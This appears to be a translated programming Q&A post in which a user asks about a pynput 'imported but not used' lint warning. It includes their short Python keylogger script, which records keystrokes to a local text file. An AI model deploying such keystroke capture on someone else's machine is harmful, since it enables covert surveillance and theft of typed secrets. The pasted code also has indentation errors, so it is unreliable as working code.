如何解决我收到的这个Pynput导入错误？

Question

“ pynput”导入有问题。昨天工作正常。今天打开了Atom，现在出现一个错误，提示"F401 - 'pynput' imported but not used"。我四处查看Google和stackoverflow，但发现的任何内容都没有解决我的问题。

这是我的代码：

# Python keylogger program
import pynput
from pynput.keyboard import Key, Listener

count = 0   # Keeps count of user keystrokes
keys = []   # Place to store key strokes


# Records user keystrokes
def on_press(key):
    global keys, count

    keys.append(key)
        count += 1
        print("{0} pressed".format(key))

    if count >= 5:
        count = 0
        write_file(keys)
        keys = []


# Writes program to file
def write_file(keys):
    with open("keyLOg.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
        if k.find("space") > 0:
            f.write('\n')
        elif k.find("Key") == -1:
            f.write(k)


# Ends program when user presses escape
def on_release(key):
    if key == Key.esc:
        return False

# Collects events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
